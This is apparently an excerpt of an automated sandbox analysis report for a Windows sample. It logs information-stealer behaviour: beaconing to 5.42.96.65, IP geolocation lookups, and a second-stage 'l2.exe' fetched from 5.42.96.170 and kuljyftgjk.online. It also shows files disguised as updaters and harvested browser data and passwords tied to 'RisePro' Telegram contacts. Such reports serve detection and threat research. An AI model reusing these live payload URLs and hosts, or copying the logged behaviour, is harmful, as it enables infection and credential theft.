0a 8d c2 aa

Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View	IP Address: 5.42.96.65 5.42.96.65
Source: Joe Sandbox View	IP Address: 172.67.75.166 172.67.75.166

Source: Joe Sandbox View	ASN Name: RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU
Source: Joe Sandbox View	ASN Name: RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io

Source: global traffic	HTTP traffic detected: GET /widget/demo/12.205.151.60 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=12.205.151.60 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: HEAD /server/k/l2.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.96.170Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /server/k/l2.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.96.170Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.96.65

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_06D41980 SetThreadExecutionState,SetThreadExecutionState,GetCurrentThreadId,GetThreadDesktop,SetThreadDesktop,recv,WSAGetLastError,__aulldiv,__aulldiv,send,recv,recv,recv,recv,Sleep,Sleep,

0_2_06D41980

Source: global traffic	HTTP traffic detected: GET /widget/demo/12.205.151.60 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=12.205.151.60 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /server/k/l2.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.96.170Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: db-ip.com
Source: global traffic	DNS traffic detected: DNS query: kuljyftgjk.online
Source: global traffic	DNS traffic detected: DNS query: 198.187.3.20.in-addr.arpa

Source: file.exe, 00000000.00000003.3698823077.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4445474316.0000000006530000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444160556.00000000016D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.96.170/server/k/l2.exe
Source: file.exe, 00000000.00000003.3698823077.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444160556.00000000016D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.96.170/server/k/l2.exe5
Source: file.exe, 00000000.00000002.4445474316.0000000006530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.96.170/server/k/l2.exeDTl
Source: file.exe, 00000000.00000003.2199558318.000000000694F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195723746.0000000006946000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196881348.0000000006945000.00000004.00000020.00020000.00000000.sdmp, MSIUpdaterV2.exe, 00000007.00000003.2217734150.000000000286A000.00000004.00000020.00020000.00000000.sdmp, llmcrdwzLnNKYB4T0Vnw.exe, 00000009.00000003.2209721688.0000000002C1B000.00000004.00000020.00020000.00000000.sdmp, AdobeUpdaterV2.exe.0.dr, l2[1].exe.0.dr, MSIUpdaterV2.exe.0.dr, oobeldr.exe.9.dr, EdgeMS2.exe.0.dr, llmcrdwzLnNKYB4T0Vnw.exe.0.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: file.exe, 00000000.00000003.2199558318.000000000694F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195723746.0000000006946000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196881348.0000000006945000.00000004.00000020.00020000.00000000.sdmp, MSIUpdaterV2.exe, 00000007.00000003.2217734150.000000000286A000.00000004.00000020.00020000.00000000.sdmp, llmcrdwzLnNKYB4T0Vnw.exe, 00000009.00000003.2209721688.0000000002C1B000.00000004.00000020.00020000.00000000.sdmp, AdobeUpdaterV2.exe.0.dr, l2[1].exe.0.dr, MSIUpdaterV2.exe.0.dr, oobeldr.exe.9.dr, EdgeMS2.exe.0.dr, llmcrdwzLnNKYB4T0Vnw.exe.0.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: file.exe, 00000000.00000003.2199558318.000000000694F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195723746.0000000006946000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196881348.0000000006945000.00000004.00000020.00020000.00000000.sdmp, MSIUpdaterV2.exe, 00000007.00000003.2217734150.000000000286A000.00000004.00000020.00020000.00000000.sdmp, llmcrdwzLnNKYB4T0Vnw.exe, 00000009.00000003.2209721688.0000000002C1B000.00000004.00000020.00020000.00000000.sdmp, AdobeUpdaterV2.exe.0.dr, l2[1].exe.0.dr, MSIUpdaterV2.exe.0.dr, oobeldr.exe.9.dr, EdgeMS2.exe.0.dr, llmcrdwzLnNKYB4T0Vnw.exe.0.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: file.exe, 00000000.00000002.4442200408.000000000030D000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: file.exe, 00000000.00000003.2121507295.0000000006548000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2115771934.0000000006495000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2113965338.0000000006495000.00000004.00000020.00020000.00000000.sdmp, OaQuGlYHO2B0Web Data.0.dr, UdeNZdOQSPDWWeb Data.0.dr, sl01HQPBKH54Web Data.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000003.2121507295.0000000006548000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2115771934.0000000006495000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2113965338.0000000006495000.00000004.00000020.00020000.00000000.sdmp, OaQuGlYHO2B0Web Data.0.dr, UdeNZdOQSPDWWeb Data.0.dr, sl01HQPBKH54Web Data.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2121507295.0000000006548000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2115771934.0000000006495000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2113965338.0000000006495000.00000004.00000020.00020000.00000000.sdmp, OaQuGlYHO2B0Web Data.0.dr, UdeNZdOQSPDWWeb Data.0.dr, sl01HQPBKH54Web Data.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2121507295.0000000006548000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2115771934.0000000006495000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2113965338.0000000006495000.00000004.00000020.00020000.00000000.sdmp, OaQuGlYHO2B0Web Data.0.dr, UdeNZdOQSPDWWeb Data.0.dr, sl01HQPBKH54Web Data.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.4444160556.0000000001719000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3698791395.0000000001714000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3698823077.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444160556.00000000016D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=12.205.151.60
Source: file.exe, 00000000.00000003.3698823077.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444160556.00000000016D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/z-
Source: file.exe, 00000000.00000003.3698823077.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444160556.00000000016D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com:443/demo/home.php?s=12.205.151.60
Source: file.exe, 00000000.00000003.2121507295.0000000006548000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2115771934.0000000006495000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2113965338.0000000006495000.00000004.00000020.00020000.00000000.sdmp, OaQuGlYHO2B0Web Data.0.dr, UdeNZdOQSPDWWeb Data.0.dr, sl01HQPBKH54Web Data.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2121507295.0000000006548000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2115771934.0000000006495000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2113965338.0000000006495000.00000004.00000020.00020000.00000000.sdmp, OaQuGlYHO2B0Web Data.0.dr, UdeNZdOQSPDWWeb Data.0.dr, sl01HQPBKH54Web Data.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2121507295.0000000006548000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2115771934.0000000006495000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2113965338.0000000006495000.00000004.00000020.00020000.00000000.sdmp, OaQuGlYHO2B0Web Data.0.dr, UdeNZdOQSPDWWeb Data.0.dr, sl01HQPBKH54Web Data.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000000.00000002.4444160556.00000000016C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3698823077.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3698823077.00000000016C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444160556.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4443887762.0000000001682000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3698823077.00000000016B9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444160556.00000000016B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/
Source: file.exe, 00000000.00000002.4444160556.00000000016C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3698823077.00000000016C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/Mozilla/5.0
Source: file.exe, 00000000.00000002.4442200408.000000000030D000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll
Source: file.exe, 00000000.00000002.4443887762.0000000001682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/t
Source: file.exe, 00000000.00000002.4443887762.000000000169D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444160556.00000000016C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3698823077.00000000016C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/12.205.151.60
Source: file.exe, 00000000.00000002.4444160556.00000000016C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3698823077.00000000016C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/12.205.151.60
Source: file.exe, 00000000.00000002.4444160556.00000000016C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3698823077.00000000016C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4445474316.0000000006530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kuljyftgjk.online/
Source: file.exe, 00000000.00000002.4445474316.0000000006530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kuljyftgjk.online/Bb
Source: file.exe, 00000000.00000002.4444160556.00000000016C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3698823077.00000000016C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kuljyftgjk.online/ons
Source: file.exe, 00000000.00000003.2219971624.000000000647F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kuljyftgjk.online/server/k/l2.exe
Source: file.exe, 00000000.00000003.2220430384.000000000647F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2220783088.0000000006480000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2219971624.000000000647F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kuljyftgjk.online/server/k/l2.exe5P#.
Source: file.exe, 00000000.00000003.2220430384.000000000647F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2220783088.0000000006480000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4445088347.0000000006480000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2219971624.000000000647F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kuljyftgjk.online/server/k/l2.exedwzLnNKYB4T0Vnw.exe
Source: file.exe, 00000000.00000003.2220430384.000000000647F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2220783088.0000000006480000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4445088347.0000000006480000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2219971624.000000000647F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kuljyftgjk.online/server/k/l2.exeo
Source: file.exe, 00000000.00000003.2220430384.000000000647F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2219971624.000000000647F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kuljyftgjk.online/server/k/l2.exexefN
Source: file.exe, 00000000.00000003.2219971624.000000000647F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kuljyftgjk.online:80/
Source: file.exe, 00000000.00000003.2220430384.000000000647F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2220783088.0000000006480000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4445088347.0000000006480000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2219971624.000000000647F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kuljyftgjk.online:80/I
Source: file.exe, 00000000.00000003.2220430384.000000000647F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2220783088.0000000006480000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4445088347.0000000006480000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2219971624.000000000647F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kuljyftgjk.online:80/Mi&/
Source: file.exe, 00000000.00000003.2220430384.000000000647F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2220783088.0000000006480000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3698823077.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444160556.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2219971624.000000000647F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kuljyftgjk.online:80/server/k/l2.exe
Source: file.exe, 00000000.00000003.2220430384.000000000647F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2220783088.0000000006480000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4445088347.0000000006480000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2219971624.000000000647F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kuljyftgjk.online:80/server/k/l2.exe5G
Source: file.exe, 00000000.00000003.2220430384.000000000647F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2220783088.0000000006480000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4445088347.0000000006480000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2219971624.000000000647F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kuljyftgjk.online:80/server/k/l2.exeJG
Source: file.exe, 00000000.00000003.2220430384.000000000647F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2220783088.0000000006480000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2219971624.000000000647F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kuljyftgjk.online:80/server/k/l2.exemespace
Source: file.exe, 00000000.00000003.2199558318.000000000694F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195723746.0000000006946000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196881348.0000000006945000.00000004.00000020.00020000.00000000.sdmp, MSIUpdaterV2.exe, 00000007.00000003.2217734150.000000000286A000.00000004.00000020.00020000.00000000.sdmp, llmcrdwzLnNKYB4T0Vnw.exe, 00000009.00000003.2209721688.0000000002C1B000.00000004.00000020.00020000.00000000.sdmp, AdobeUpdaterV2.exe.0.dr, l2[1].exe.0.dr, MSIUpdaterV2.exe.0.dr, oobeldr.exe.9.dr, EdgeMS2.exe.0.dr, llmcrdwzLnNKYB4T0Vnw.exe.0.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: D87fZN3R3jFeplaces.sqlite.0.dr	String found in binary or memory: https://support.mozilla.org
Source: D87fZN3R3jFeplaces.sqlite.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: D87fZN3R3jFeplaces.sqlite.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: file.exe, 00000000.00000002.4445088347.0000000006449000.00000004.00000020.00020000.00000000.sdmp, dZGGvSkztfgYu5jqSY21Wne.zip.0.dr	String found in binary or memory: https://t.me/RiseProSUPPORT
Source: file.exe, 00000000.00000002.4444160556.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142639137.0000000006550000.00000004.00000020.00020000.00000000.sdmp, passwords.txt.0.dr	String found in binary or memory: https://t.me/risepro_bot
Source: file.exe, 00000000.00000003.3698823077.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444160556.00000000016D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot%(
Source: file.exe, 00000000.00000003.3698823077.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444160556.00000000016D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botisepro_bot
Source: file.exe, 00000000.00000003.2121507295.0000000006548000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2115771934.0000000006495000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2113965338.0000000006495000.00000004.00000020.00020000.00000000.sdmp, OaQuGlYHO2B0Web Data.0.dr, UdeNZdOQSPDWWeb Data.0.dr, sl01HQPBKH54Web Data.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2121507295.0000000006548000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2115771934.0000000006495000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2113965338.0000000006495000.00000004.00000020.00020000.00000000.sdmp, OaQuGlYHO2B0Web Data.0.dr, UdeNZdOQSPDWWeb Data.0.dr, sl01HQPBKH54Web Data.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: D87fZN3R3jFeplaces.sqlite.0.dr	String found in binary or memory: https://www.mozilla.org
Source: D87fZN3R3jFeplaces.sqlite.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: D87fZN3R3jFeplaces.sqlite.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000003.2220430384.000000000647F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141059621.0000000006550000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3698823077.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4445474316.0000000006530000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444160556.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2219971624.000000000647F000.00000004.00000020.00020000.00000000.sdmp, Firefox_v6zchhhv.default-release.txt.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2111465574.000000000647D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2127831309.000000000647D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2123105572.000000000647D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2124388373.000000000647D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4445088347.000000000647D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2121830577.000000000647D000.00000004.00000020.00020000.00000000.sdmp, 3b6N2Xdh3CYwplaces.sqlite.0.dr, D87fZN3R3jFeplaces.sqlite.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: D87fZN3R3jFeplaces.sqlite.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2111465574.000000000647D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2127831309.000000000647D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2123105572.000000000647D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2124388373.000000000647D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4445088347.000000000647D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2121830577.000000000647D000.00000004.00000020.00020000.00000000.sdmp, 3b6N2Xdh3CYwplaces.sqlite.0.dr, D87fZN3R3jFeplaces.sqlite.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000003.2220430384.000000000647F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141059621.0000000006550000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3698823077.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4445474316.0000000006530000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444160556.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2219971624.000000000647F000.00000004.00000020.00020000.00000000.sdmp, Firefox_v6zchhhv.default-release.txt.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2111465574.000000000647D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2127831309.000000000647D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2123105572.000000000647D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2124388373.000000000647D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4445088347.000000000647D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2121830577.000000000647D000.00000004.00000020.00020000.00000000.sdmp, 3b6N2Xdh3CYwplaces.sqlite.0.dr, D87fZN3R3jFeplaces.sqlite.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.4445474316.0000000006530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/txt

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705

Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49705 version: TLS 1.2
